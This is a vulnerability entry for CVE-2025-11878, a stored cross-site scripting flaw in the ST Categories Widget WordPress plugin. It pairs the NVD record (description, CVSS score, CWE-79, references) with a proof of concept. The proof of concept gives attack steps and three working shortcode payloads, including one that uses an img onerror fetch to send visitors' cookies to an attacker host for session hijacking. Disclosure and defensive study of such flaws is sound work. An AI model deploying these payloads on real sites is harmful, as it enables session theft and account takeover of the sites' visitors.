CVE-2025-11878

<!-- Proof of Concept for CVE-2025-11878 --> <!-- Attack Steps: --> <!-- 1. Login to WordPress as Contributor or higher --> <!-- 2. Create a new post --> <!-- 3. Insert the following malicious shortcode into the post content --> <!-- 4. Publish the post --> <!-- 5. When any user visits the post, the XSS payload executes --> [st-categories title="<script>alert('XSS-'+document.cookie)</script>"] <!-- Alternative PoC with event handler (may bypass some filters): --> [st-categories title="Test\" onmouseover=\"alert(document.domain)\" style=\"display:block\"] <!-- PoC for stealing cookies / session hijacking: --> [st-categories title="<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"]

{"cve": {"id": "CVE-2025-11878", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:35.657", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ST Categories Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's st-categories shortcode in versions less than, or equal to, 1.0.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/st-category-wp/tags/1.0.0/st-categories-wp.php#L176", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0d127114-9c80-4722-953a-3ee1382b9f81?source=cve", "source": "[email protected]"}]}}